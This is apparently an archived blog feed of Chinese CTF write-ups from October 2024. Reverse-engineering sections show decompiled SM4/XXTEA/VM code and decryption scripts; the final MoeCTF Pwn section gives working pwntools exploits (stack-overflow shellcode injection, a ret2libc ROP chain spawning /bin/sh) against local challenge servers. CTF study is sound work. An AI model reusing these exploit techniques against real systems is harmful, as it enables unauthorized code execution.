c4f3b4b3 - 2024年10月
type: channel
link: https://blog.hxzzz.asia/2024/10
description: 0xcafebabe的bl0g，Archived。
items: WDCTF2024 初赛 Reverse
items: BuildCTF 2024 Reverse
items: 2024 源鲁杯（YLCTF）新生赛 Reverse
items: MoeCTF2024 Reverse Official Writeup
items: MoeCTF 2024 Pwn

WDCTF2024 初赛 Reverse
type: item
date: 2024-10-29T23:57:00+08:00
description: REVERSE01小明给出了一个程序包，作为逆向工程师的你，能否对其进行逆向分析，找出小明藏在其中的秘密？APK内就是一个简单的调用native，然后我们拿出x86的so开始分析导出函数没有JAVA_xxx_check，说明可能是动态注册，导入jni.h后修复一下JNI_Onload观察RegisterNative的(const JNINativeMethod *)off_2D50，第三个即为注册地址第一个函数是__int64 __fastcall sm4_keyExpand(_DWORD *a1) { unsigned __int32 v1; // r11d unsigned __int32 v2; // r14d int v3; // r15d unsigned int v4; // ecx __int64 i; // rdx unsigned __int32 v6; // r10d unsigned int v7; // ebx __int64 v8; // rbp __int64 v9; // rsi __int64 result; // rax int v11; // ebx int v12; // ebx unsigned __int64 v13; // rt0 qword_3018 = 'Z0099864'; *a1 = 1; v1 = _byteswap_ulong(dword_3010) ^ 0xA3B1BAC6; v2 = _byteswap_ulong(dword_3014) ^ 0x56AA3350; v3 = 0x534BA9AE; v4 = 0x8B401286; for ( i = 0LL; i != 32; ++i ) { v6 = v2; v2 = v3; v3 = v4; v7 = *(_DWORD *)((char *)&unk_CE0 + i * 4) ^ v6 ^ v2 ^ v4 ^ 7; v8 = BYTE1(v7); v9 = (unsigned __int8)v7; result = (unsigned __int8)(byte_D60[HIBYTE(v7)] ^ 7) << 24; v11 = result | ((byte_D60[BYTE2(v7)] ^ 7) << 16); LODWORD(v8) = v11 | ((byte_D60[v8] ^ 7) << 8); LODWORD(v13) = v11; HIDWORD(v13) = v8 | byte_D60[v9] ^ 7; v12 = v13 >> 19; LODWORD(v13) = v8; v4 = (v13 >> 9) ^ v12 ^ v1 ^ HIDWORD(v13); a1[i + 1] = v4; v1 = v6; } return result; }byte_D60是SM4-Box ^ 7的结果，0xA3B1BAC6和0x56AA3350均为SM4特征值。下面就是SM4加密过程了，16个字节为一组的ECB加密unsigned __int64 __fastcall SM4_Encrypt(__int64 a1, unsigned __int8 *a2, _BYTE *a3) { __m128i v3; // xmm0 __int64 i; // r9 unsigned int v5; // ecx unsigned int v6; // ebx int v7; // esi int v8; // eax int v9; // ecx int v10; // esi unsigned __int64 v11; // rt0 unsigned int v12; // esi int v13; // eax int v14; // eax int v15; // eax int v16; // eax _OWORD v18[7]; // [rsp+10h] [rbp-98h] BYREF __int128 v19; // [rsp+80h] [rbp-28h] unsigned __int64 v20; // [rsp+90h] [rbp-18h] v20 = __readfsqword(0x28u); v19 = 0LL; memset(v18, 0, sizeof(v18)); v3 = _mm_or_si128( _mm_or_si128( _mm_cvtepu8_epi32(_mm_insert_epi8(_mm_insert_epi8(_mm_insert_epi8(_mm_cvtsi32_si128(a2[15]), a2[11], 1), a2[7], 2), a2[3], 3)), _mm_s…

BuildCTF 2024 Reverse
type: item
date: 2024-10-27T01:28:00+08:00
description: babyre一个简单的check_debugger，后面把flag分为了两部分，前23是异或0xA，后23是第一个字节异或'-'，也就是前23的最后一个，然后后面字节不断异或前面的字节。手动解密一下就OKez?否动态加载xdbg载入后直接搜字符串，定位到后找到一个xxtea但是魔改了一些🤬，动调抓一下key，后面还有个..base64标准编码，然后动调也能看见结果。from regadgets import * def b2024buildctf(z, y, sum, k, p, debug = False): e = (sum.value >> 2) & 3 PE = (p & 3) ^ e Ly = y.value << 3 Ry = y.value >> 7 Lz = z.value << 8 Rz = z.value >> 5 LzRy = Rz ^ Ly LyRz = Ry ^ Lz SY = sum.value ^ y.value K = k[PE].value KZ = K ^ z.value result = (LzRy + LyRz) ^ (KZ + SY) return result xxtea_key = b'Yigod' + b'\x00' * 11 enc = decode_b64('DcxHei12cHzBv7QrvkVO693GezASEOK8PF3rZzvfJNYihLczydjCBBYN1LF9JU0hw0gULw==') ee = xxtea_decrypt(byte2dword(enc), byte2dword(xxtea_key), delta=0x11451411, shift_func=b2024buildctf) print(dword2byte(ee)) # b'BuildCTF{Life_long_long&&debugging_15_wonderful}0\x00\x00\x00'ez_asm看题目猜到了是idct和dct，然后找一下有个memcpy，肯定是把加密数据复制了一份，然后在最下面找到加密后的数据，然后idct就可以了。from regadgets import * enc = [0x4E,0x7B,0x4A,0xCE,0x89,0x69,0x80,0x40,0xB5,0xDF,0xDA,0x89,0x92,8,0x2E,0x40,0x3D,0xEF,0xC6,0x82,0xC2,0xD0,0x3E,0xC0,0x43,0x3B,0xA7,0x59,0xA0,0xBD,0x3A,0x40,0xA7,0x5B,0x76,0x88,0x7F,0xD8,0x2E,0x40,0xE4,0x12,0x47,0x1E,0x88,0x5C,0x1F,0xC0,0x3D,0x82,0x1B,0x29,0x5B,0x28,0x40,0x40,0x65,0x8C,0xF,0xB3,0x97,0xC3,0x43,0xC0,0xA0,0x17,0xEE,0x5C,0x18,0x29,0x29,0x40,0xEC,0x13,0x40,0x31,0xB2,0xC6,0x47,0xC0,0x16,0xDB,0xA4,0xA2,0xB1,0x8E,0x38,0x40,0xB6,0xA2,0xCD,0x71,0x6E,0xB3,0x1E,0xC0,0xD2,0xC5,0xA6,0x95,0x42,0x4E,0x46,0xC0,0x8F,0x37,0xF9,0x2D,0x3A,0xB1,0x39,0xC0,0xD7,0x16,0x9E,0x97,0x8A,0x79,0x37,0xC0,0x22,0x89,0x5E,0x46,0xB1,0xE0,0x34,0x40,0xAE,0xF,0xEB,0x8D,0x5A,0x8D,0x31,0x40,0xFD,0xF8,0x4B,0x8B,0xFA,0x24,0x1A,0xC0,4,0x75,0xCA,0xA3,0x1B,0xA1,0x1E,0x40,0x93,1,0xA0,0x8A,0x1B,9,0x48,0xC0,0x33,0xDF,0xC1,0x4F,0x1C,0x28,0x21,0x40,0x2A,0xE5,0xB5,0x12,0xBA,0xDF,0x41,0xC0,0x16,0x32,0x57,6,0xD5,0x86,0x1E,0x40,0x7C,0x65,0xDE,0xAA,0xEB,0xDC,0x39,0x40,5,0xA3,0x92,0x3A,1,0x4D,0x16,0x40,0xE4,0x4A,0x3D,0xB,0x42,0xF9,0x46,0xC0,0xA4,0x50,0x16,0xBE,0xBE,0x66,0x40,0xC0,0xD5,0x…

2024 源鲁杯（YLCTF）新生赛 Reverse
type: item
date: 2024-10-16T19:49:00+08:00
description: 被隔壁朋友拉过来写的Cr4ckVWe （这真的是新生赛吗？）下载双击打开发现缺一堆dll，打开Everything搜一下，发现很多都在Mingw的目录下，于是干脆直接把程序放Mingw目录下了。IDA打开简单分析一下__int64 sub_401A93() { const char *v0; // rax __int64 v1; // rax __int64 v2; // rax __int64 v3; // rax __int64 v4; // rax unsigned __int8 vm_code_with_data[768]; // [rsp+20h] [rbp-60h] BYREF DWORD v7[100]; // [rsp+320h] [rbp+2A0h] BYREF stl_struct1 v8; // [rsp+4B0h] [rbp+430h] BYREF unsigned __int8 proc1[32]; // [rsp+4C0h] [rbp+440h] BYREF char input_1[48]; // [rsp+4E0h] [rbp+460h] BYREF _BYTE input[40]; // [rsp+510h] [rbp+490h] BYREF __int64 v12; // [rsp+538h] [rbp+4B8h] int m; // [rsp+540h] [rbp+4C0h] int k; // [rsp+544h] [rbp+4C4h] int j; // [rsp+548h] [rbp+4C8h] int i; // [rsp+54Ch] [rbp+4CCh] std::string::basic_string(input); std::operator<<<std::char_traits<char>>(&std::cout, "key:"); std::operator>><char>(&std::cin, input); if ( std::string::length(input) == 10 ) { v0 = (const char *)std::string::c_str(input); sub_403FE0(input_1, v0); memset(proc1, 0, sizeof(proc1)); for ( i = 0; i <= 31; ++i ) { if ( input_1[i] <= '/' || input_1[i] > '9' ) { if ( input_1[i] > '`' && input_1[i] <= 'f' )// 不在0~9 proc1[i] = input_1[i] - 87; // 在a~f } else { proc1[i] = input_1[i] - '0'; } } if ( proc1[0] == proc1[10] ) // 第一个是0 { v12 = 0x3000LL; new_empty_memory(&v8, 0x3000uLL); memcpy(v7, &UNK1, sizeof(v7)); for ( j = 0; j <= 99; ++j ) get_bits(&v8, 32 * j, 0x20uLL, v7[j]); // to binary memcpy(vm_code_with_data, &vm_code, 0x2F1uLL); for ( k = 0; k <= 9; ++k ) { *(_DWORD *)&vm_code_with_data[75 * k + 26] = 0x20 * (10 * proc1[k] + proc1[(k + 1) % 10]); *(_DWORD *)&vm_code_with_data[75 * k + 63] = 0x20 * (proc1[k] + 0x108); *(_DWORD *)&vm_code_with_data[75 * k + 67] = 0x20 * (proc1[k] + 0x108);// 0x2100 + 0x2100 * proc[k] } vm_run(&v8, vm_code_with_data); for ( m = 0; m <= 9 && check(&v8, 32 * (m + 0x108), 0x20uLL); ++m ) ; if ( m <= 9 || check(&v8, 0x2080LL, 0x20uLL) > 0x105A )// 104 { v1 = std::operator<<<std::char_traits<char>>(&std::cout, "wrong"); std::ostream::operator…

MoeCTF2024 Reverse Official Writeup
type: item
date: 2024-10-12T21:01:00+08:00
description: 关于WPAuthor: 0xcafebabe第三方题目（非XDSEC成员）: 1.xor(大嘘) (Author: 中国人民警察大学的：Chovy)2.Cython-Strike: Bomb Defusion (Author: 西安电子科技大学的：不玩逆向爱玩CS的同学)入门指北下载PDF，了解里面关于XOR的讲解内容后，可以发现直接给出了解题代码。#include <iostream> int main() { char password_enc[] = { 123, 121, 115, 117, 98, 112, 109, 100, 37, 96, 37, 100, 101, 37, 73, 39, 101, 73, 119, 73, 122, 121, 120, 113, 73, 122, 121, 120, 113, 73, 97, 119, 111, 73, 98, 121, 73, 115, 110, 102, 122, 121, 100, 115, 107, 22 }; // 因为a^b=c时, b^c=a, 所以我们可以这样还原数据: char password[47]; for (int i = 0; i < 46; i++) { password[i] = password_enc[i] ^ 22; } password[46] = 0; // 使用0字符来截断掉%s的无尽输出.. printf("%s\n", password); // 哈哈，这就是本题的f l a g，自己运行一下交上去吧！ return 0; }可以拿到flagmoectf{r3v3rs3_1s_a_long_long_way_to_explore}Xor拿到附件后发现是Windows下的可执行文件(.exe)，我们载入IDA后可以观察到反编译的代码int __fastcall main(int argc, const char **argv, const char **envp) { FILE *v3; // rax __int64 i; // rax char Buffer[16]; // [rsp+20h] [rbp-48h] BYREF __int128 v7; // [rsp+30h] [rbp-38h] __int64 v8; // [rsp+40h] [rbp-28h] int v9; // [rsp+48h] [rbp-20h] char v10; // [rsp+4Ch] [rbp-1Ch] sub_140001010("Input Your Flag moectf{xxx} (len = 45) \n"); v8 = 0LL; *(_OWORD *)Buffer = 0LL; v9 = 0; v7 = 0LL; v10 = 0; v3 = _acrt_iob_func(0); fgets(Buffer, 45, v3); for ( i = 0LL; i < 44; ++i ) { if ( ((unsigned __int8)Buffer[i] ^ 0x24) != byte_1400022B8[i] ) { sub_140001010("FLAG is wrong!\n"); system("pause"); exit(0); } } sub_140001010("FLAG is RIGHT!\n"); system("pause"); return 0; }我们注意到 char Buffer[16]; // [rsp+20h] [rbp-48h] BYREF这个变量的大小是16，但是下面 fgets(Buffer, 45, v3);的大小是45，可以推测这个变量的大小反编译错误了。我们按y改成45，再刷新看代码。int __fastcall main(int argc, const char **argv, const char **envp) { FILE *v3; // rax __int64 i; // rax char Buffer[48]; // [rsp+20h] [rbp-48h] BYREF sub_140001010("Input Your Flag moectf{xxx} (len = 45) \n"); memset(Buffer, 0, 45); v3 = _acrt_iob_func(0); fgets(Buffer, 45, v3); for ( i = 0LL; i < 44; ++i ) { if ( ((unsigned __int8)Buffer[i] ^ 0x24) != byte_1400022B8[i] ) { sub_140001010("FLAG is wrong…

MoeCTF 2024 Pwn
type: item
date: 2024-10-12T21:00:00+08:00
description: 关于非官方WP，只是本人闲来无事学一学。ez_shellcode先checksec用IDA打开，可以看到是一个标准的shellcode题，给的gift是为了我们跳转到shellcode运行所以思路就是，第一个随便输入一个大数，第二个我们需要植入shellcode，并且使用Gadget进行中间跳转。显然shellcode必须在合理范围内，然后Gadget在栈溢出后进行跳转。#! /usr/bin/env python3 from pwn import * context(log_level='debug', arch='amd64', os='linux', terminal = ['tmux', 'sp', '-h', '-p', '70']) file_name = './pwn' # io = process(file_name) io = remote('127.0.0.1', 54533) # gdb.attach(io) sh = asm(shellcraft.sh()) io.recvuntil('age:\n') io.sendline(b'200') io.recvuntil('you :\n') gift = io.recvuntil('\n') gift = eval(gift.decode()) # 通过nop对齐把shellcode弄到栈内，并且gift进行栈溢出，0x101a是gadget ret ow = sh.ljust(0x60 + 0x8, b'\x90') + p64(gift) + p64(0x101a) io.sendline(ow) io.interactive()这是什么？libc！ropper --file libc.so.6 --search "pop rdi; ret;"ropper --file libc.so.6 --search "ret;"#! /usr/bin/env python3 from pwn import * context(log_level='debug', arch='amd64', os='linux', terminal = ['tmux', 'sp', '-h', '-p', '70']) file_name = './prelibc' elf = ELF(file_name) libc = ELF('./libc.so.6') # io = process(file_name) io = remote('127.0.0.1', 9158) # gdb.attach(io) io.recvuntil(b'libc: ') puts_addr = io.recvuntil(b'.')[:-1].decode() puts_addr = eval(puts_addr) libc_addr = puts_addr - libc.sym['puts'] log.success('libc_addr = ' + hex(libc_addr)) system_addr = libc_addr + libc.sym['system'] bin_sh_str = libc_addr + next(libc.search(b'/bin/sh\x00')) gadget_rdi_ret = libc_addr + 0x000000000002a3e5 gadget_ret = libc_addr + 0x00000000000f8c92 io.sendlineafter(b'\n> ', cyclic(1 + 0x8) + p64(gadget_rdi_ret) + p64(bin_sh_str) + p64(gadget_ret) + p64(system_addr)) io.interactive()这是什么？shellcode！shellcraft.sh()这是什么？random！#! /usr/bin/env python3 from pwn import * context(log_level='debug', arch='amd64', os='linux', terminal = ['tmux', 'sp', '-h', '-p', '70']) file_name = './prerandom' elf = ELF(file_name) libc = ELF('./libc.so.6') # io = process(file_name) io = remote('127.0.0.1', 30991) rands = [94628, 29212, 40340, 61479, 52327, 69717, 13474, 57303, 18980, 867…